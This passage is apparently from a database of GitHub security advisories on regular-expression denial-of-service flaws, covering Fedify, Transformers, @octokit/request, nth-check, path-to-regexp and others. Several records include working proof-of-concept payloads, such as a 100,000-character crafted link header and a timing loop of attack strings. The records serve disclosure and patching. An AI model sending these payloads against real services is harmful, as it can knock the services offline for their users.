confirmed in this environment.\u0027);\n console.log(\u0027 This may be due to regex engine optimizations.\u0027);\n console.log(\u0027\u0027);\n process.exit(1);\n }\n}\n\nmain().catch(console.error);\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003erun_poc.sh\u003c/strong\u003e\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n# Fedify ReDoS Vulnerability PoC Runner\n\nset -e\n\nIMAGE_NAME=\"fedify-redos-poc\"\n\necho \"Building Docker image...\"\ndocker build -t ${IMAGE_NAME} .\n\necho \"Running the PoC...\"\ndocker run --rm ${IMAGE_NAME}\n\necho \"Cleaning up...\"\ndocker rmi ${IMAGE_NAME} 2\u003e/dev/null || true\n```\n\n\u003c/details\u003e\n\n### Running the Docker PoC\n\n```bash\n# Save the above files, then:\nchmod +x run_poc.sh\n./run_poc.sh\n```\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs\n- **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources\n- **Servers following standard federation patterns** - fetching remote actors is a normal operation\n\n### Severity Assessment\n\n| Factor | Assessment |\n|--------|------------|\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low (trivial payload) |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Impact** | Availability (DoS) |\n| **Scope** | Service-wide |\n\n### Real-World Scenario\n\n1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com`\n2. The server attempts to fetch the attacker\u0027s profile via `lookupObject()`\n3. The attacker\u0027s server responds with malicious HTML\n4. The victim server\u0027s event loop is blocked for 14+ seconds\n5. During this time, all other requests are queued and potentially time out\n6. Repeated attacks can cause sustained service unavailability\n\n---\n\n## Recommended Fix\n\n### Option 1: Use a Proper HTML Parser (Recommended)\n\nReplace regex-based HTML parsing with a DOM parser that doesn\u0027t suffer from backtracking issues:\n\n```typescript\n// Using linkedom (lightweight DOM implementation)\nimport { parseHTML } from \u0027linkedom\u0027;\n\n// Replace lines 258-287 with:\nconst { document } = parseHTML(html);\nconst links = document.querySelectorAll(\u0027a[rel=\"alternate\"], link[rel=\"alternate\"]\u0027);\n\nfor (const link of links) {\n const type = link.getAttribute(\u0027type\u0027);\n const href = link.getAttribute(\u0027href\u0027);\n \n if (\n href \u0026\u0026\n (type === \u0027application/activity+json\u0027 ||\n type === \u0027application/ld+json\u0027 ||\n type?.startsWith(\u0027application/ld+json;\u0027))\n ) {\n const altUri = new URL(href, docUrl);\n if (altUri.href !== docUrl.href) {\n return await fetch(altUri.href);\n }\n }\n}\n```\n\n### Option 2: Add Response Size Limits\n\nIf regex must be used, at minimum add size limits:\n\n```typescript\nconst MAX_HTML_SIZE = 1024 * 1024; // 1MB\nconst contentLength = parseInt(response.headers.get(\u0027content-length\u0027) || \u00270\u0027);\n\nif (contentLength \u003e MAX_HTML_SIZE) {\n throw new FetchError(url, \u0027Response too large\u0027);\n}\n\nconst html = await response.text();\nif (html.length \u003e MAX_HTML_SIZE) {\n throw new FetchError(url, \u0027Response too large\u0027);\n}\n```\n\n### Option 3: Refactor the Regex\n\nIf the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:\n\n```typescript\n// Use a non-backtracking approach with explicit attribute matching\nconst tagPattern = /\u003c(a|link)\\s+([^\u003e]+)\u003e/ig;\nconst attrPattern = /([a-z][a-z:_-]*)=(?:\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|(\\S+))/ig;\n```\n\n---\n\n## Resources\n\n- [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)\n\n---\n\nThank you for taking the time to review this report. I\u0027m happy to provide any additional information or help test a fix. Please let me know if you have any questions!",
"id": "GHSA-rchf-xwx2-hm93",
"modified": "2025-12-23T16:01:12Z",
"published": "2025-12-22T21:36:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68475"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedify-dev/fedify"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.6.13"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.7.14"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.8.15"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fedify has ReDoS Vulnerability in HTML Parsing Regex"
}
GHSA-RCV9-QM8P-9P6J
Vulnerability from github β Published: 2025-09-14 18:30 β Updated: 2025-09-15 20:31A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the normalize_numbers() method of the EnglishNormalizer class. This vulnerability affects versions up to 4.52.4 and is fixed in version 4.53.0. The issue arises from the method's handling of numeric strings, which can be exploited using crafted input strings containing long sequences of digits, leading to excessive CPU consumption. This vulnerability impacts text-to-speech and number normalization tasks, potentially causing service disruption, resource exhaustion, and API vulnerabilities.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.53.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-6051"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T20:31:45Z",
"nvd_published_at": "2025-09-14T17:15:34Z",
"severity": "MODERATE"
},
"details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the `normalize_numbers()` method of the `EnglishNormalizer` class. This vulnerability affects versions up to 4.52.4 and is fixed in version 4.53.0. The issue arises from the method\u0027s handling of numeric strings, which can be exploited using crafted input strings containing long sequences of digits, leading to excessive CPU consumption. This vulnerability impacts text-to-speech and number normalization tasks, potentially causing service disruption, resource exhaustion, and API vulnerabilities.",
"id": "GHSA-rcv9-qm8p-9p6j",
"modified": "2025-09-15T20:31:45Z",
"published": "2025-09-14T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6051"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/pull/38844"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/54a02160eb030da9be18231c77791f2eb3a52216"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/ba8eaba9865618253f997784aa565b96206426f0"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/af929523-7b59-418a-bf55-301830b2ac9d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Hugging Face Transformers library has Regular Expression Denial of Service"
}
GHSA-RF8J-95H8-VRRR
Vulnerability from github β Published: 2023-06-29 03:30 β Updated: 2024-04-04 05:16Mailform Pro CGI 4.3.1.2 and earlier allows a remote unauthenticated attacker to cause a denial-of-service (DoS) condition.
{
"affected": [],
"aliases": [
"CVE-2023-32610"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-29T01:15:50Z",
"severity": "HIGH"
},
"details": "Mailform Pro CGI 4.3.1.2 and earlier allows a remote unauthenticated attacker to cause a denial-of-service (DoS) condition.",
"id": "GHSA-rf8j-95h8-vrrr",
"modified": "2024-04-04T05:16:48Z",
"published": "2023-06-29T03:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32610"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN70502982/index.html"
},
{
"type": "WEB",
"url": "https://www.synck.com/blogs/news/newsroom/detail_1686638620.html"
},
{
"type": "WEB",
"url": "https://www.synck.com/downloads/cgi-perl/mailformpro/feature_1361268679.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RGQX-226F-2XP4
Vulnerability from github β Published: 2022-09-21 00:00 β Updated: 2022-09-23 17:08A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal 2.2.4 via the string variable in babel.js.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "steal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-37259"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-21T21:08:23Z",
"nvd_published_at": "2022-09-20T18:15:00Z",
"severity": "HIGH"
},
"details": "A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal 2.2.4 via the string variable in babel.js.",
"id": "GHSA-rgqx-226f-2xp4",
"modified": "2022-09-23T17:08:13Z",
"published": "2022-09-21T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37259"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/issues/1528"
},
{
"type": "PACKAGE",
"url": "https://github.com/stealjs/steal"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/ext/babel.js#L54124"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/ext/babel.js#L54129"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "steal Inefficient Regular Expression Complexity vulnerability via string variable"
}
GHSA-RHX6-C78J-4Q9W
Vulnerability from github β Published: 2024-12-05 22:40 β Updated: 2025-06-03 14:30Impact
The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of path-to-regexp, originally reported in CVE-2024-45296
Patches
Upgrade to 0.1.12.
Workarounds
Avoid using two parameters within a single path segment, when the separator is not . (e.g. no /:a-:b). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking.
References
- https://github.com/advisories/GHSA-9wv6-86v2-598j
- https://blakeembrey.com/posts/2024-09-web-redos/
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52798"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-05T22:40:47Z",
"nvd_published_at": "2024-12-05T23:15:06Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of `path-to-regexp`, originally reported in CVE-2024-45296\n\n### Patches\n\nUpgrade to 0.1.12.\n\n### Workarounds\n\nAvoid using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking.\n\n### References\n\n- https://github.com/advisories/GHSA-9wv6-86v2-598j\n- https://blakeembrey.com/posts/2024-09-web-redos/",
"id": "GHSA-rhx6-c78j-4q9w",
"modified": "2025-06-03T14:30:56Z",
"published": "2024-12-05T22:40:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-rhx6-c78j-4q9w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52798"
},
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/commit/f01c26a013b1889f0c217c643964513acf17f6a4"
},
{
"type": "WEB",
"url": "https://blakeembrey.com/posts/2024-09-web-redos"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250124-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "path-to-regexp contains a ReDoS"
}
GHSA-RJ29-J2G4-77Q8
Vulnerability from github β Published: 2024-03-18 20:39 β Updated: 2024-03-19 18:30Impact
Vulnerability in SecureProps involves a regex failing to detect tags during decryption of encrypted data.
This occurs when the encrypted data has been encoded with NullEncoder and passed to TagAwareCipher, and contains special characters such as \n. As a result, the decryption process is skipped since the tags are not detected. This causes the encrypted data to be returned in plain format.
The vulnerability affects users who implement TagAwareCipher with any base cipher that has NullEncoder (not default).
Patches
The patch for the issue has been released. Users are advised to update to version 1.2.2.
Workarounds
The main recommendation is to update to the latest version as there are no breaking changes.
If that's not possible, you can use the default Base64Encoder with the base cipher decorated with TagAwareCipher to prevent special characters in the encrypted string from interfering with regex tag detection logic.
This workaround is safe but may involve double encoding since TagAwareCipher uses Base64Encoder by default.
References
Reported issue: https://github.com/IlicMiljan/Secure-Props/issues/20 Pull request resolving bug: https://github.com/IlicMiljan/Secure-Props/pull/21
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ilicmiljan/secure-props"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28864"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-18T20:39:00Z",
"nvd_published_at": "2024-03-18T22:15:09Z",
"severity": "LOW"
},
"details": "### Impact\n\nVulnerability in **SecureProps** involves a regex failing to detect tags during decryption of encrypted data. \n\nThis occurs when the encrypted data has been encoded with `NullEncoder` and passed to `TagAwareCipher`, and contains special characters such as `\\n`. As a result, the decryption process is skipped since the tags are not detected. This causes the encrypted data to be returned in plain format. \n\nThe vulnerability affects users who implement `TagAwareCipher` with any base cipher that has `NullEncoder` (not default).\n\n### Patches\n\nThe patch for the issue has been released. Users are advised to update to version **1.2.2**.\n\n### Workarounds\n\n**The main recommendation is to update to the latest version as there are no breaking changes.**\n\nIf that\u0027s not possible, you can use the default `Base64Encoder` with the base cipher decorated with `TagAwareCipher` to prevent special characters in the encrypted string from interfering with regex tag detection logic. \n\nThis workaround is safe but may involve double encoding since `TagAwareCipher` uses `Base64Encoder` by default.\n \n### References\n\nReported issue: https://github.com/IlicMiljan/Secure-Props/issues/20\nPull request resolving bug: https://github.com/IlicMiljan/Secure-Props/pull/21\n",
"id": "GHSA-rj29-j2g4-77q8",
"modified": "2024-03-19T18:30:48Z",
"published": "2024-03-18T20:39:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/IlicMiljan/Secure-Props/security/advisories/GHSA-rj29-j2g4-77q8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28864"
},
{
"type": "WEB",
"url": "https://github.com/IlicMiljan/Secure-Props/issues/20"
},
{
"type": "WEB",
"url": "https://github.com/IlicMiljan/Secure-Props/pull/21"
},
{
"type": "WEB",
"url": "https://github.com/IlicMiljan/Secure-Props/commit/ab7b561040cd37fda3dbf9a6cab01fefcaa16627"
},
{
"type": "PACKAGE",
"url": "https://github.com/IlicMiljan/Secure-Props"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "[TagAwareCipher] - Decryption Failure (Regex Match)"
}
GHSA-RMVR-2PP2-XJ38
Vulnerability from github β Published: 2025-02-14 18:00 β Updated: 2026-01-16 17:29Summary
The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.
Details
The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.
An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.
The issue is present in the following code:
const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);
In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.
PoC
The gist of PoC.js 1. run npm i @octokit/request 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage
import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
const response = await originalFetch(url, options);
const fakeHeaders = new Headers(response.headers);
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: fakeHeaders
});
};
request("GET /repos/octocat/hello-world")
.then(response => {
// console.log("[+] Response received:", response);
})
.catch(error => {
// console.error("[-] Error:", error);
});
// globalThis.fetch = originalFetch;
Impact
This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code.
The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.
The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include:
* Web applications or APIs that rely on parsing headers for deprecation information.
* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
* Service providers who may face disruption in operations or performance degradation due to this flaw.
If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-beta.1"
},
{
"fixed": "9.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "8.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25290"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-14T18:00:18Z",
"nvd_published_at": "2025-02-14T20:15:35Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n const response = await originalFetch(url, options);\n const fakeHeaders = new Headers(response.headers);\n fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n fakeHeaders.set(\"deprecation\", \"true\");\n return new Response(response.body, {\n status: response.status,\n statusText: response.statusText,\n headers: fakeHeaders\n });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n .then(response =\u003e {\n // console.log(\"[+] Response received:\", response);\n })\n .catch(error =\u003e {\n // console.error(\"[-] Error:\", error);\n });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
"id": "GHSA-rmvr-2pp2-xj38",
"modified": "2026-01-16T17:29:36Z",
"published": "2025-02-14T18:00:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
},
{
"type": "PACKAGE",
"url": "https://github.com/octokit/request.js"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
GHSA-RP65-9CF3-CJXR
Vulnerability from github β Published: 2021-09-20 20:47 β Updated: 2023-09-13 21:49There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nth-check"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3803"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-20T20:15:09Z",
"nvd_published_at": "2021-09-17T07:15:00Z",
"severity": "HIGH"
},
"details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n var time = Date.now();\n var attack_str = \u00272n\u0027 + \u0027 \u0027.repeat(i*10000)+\"!\";\n try {\n nthCheck.parse(attack_str) \n }\n catch(err) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
"id": "GHSA-rp65-9cf3-cjxr",
"modified": "2023-09-13T21:49:54Z",
"published": "2021-09-20T20:47:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3803"
},
{
"type": "WEB",
"url": "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"
},
{
"type": "PACKAGE",
"url": "https://github.com/fb55/nth-check"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Inefficient Regular Expression Complexity in nth-check"
}
GHSA-RPJM-422R-95MH
Vulnerability from github β Published: 2022-05-17 00:00 β Updated: 2025-09-02 22:23In Apache Tika, a regular expression in our StandardsText class, used by the StandardsExtractingContentHandler could lead to a denial of service caused by backtracking on a specially crafted file. This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.
This was originally fixed in 1.28.2 and 2.4.0. While the fix in version 2.4.0 was complete, the fix for the 1.x branch wasn't incorporated until version 1.28.3. Please see GHSA-qw3f-w4pf-jh5f for more information.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tika:tika-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.17"
},
{
"fixed": "1.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tika:tika-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-30126"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-25T19:29:25Z",
"nvd_published_at": "2022-05-16T17:15:00Z",
"severity": "MODERATE"
},
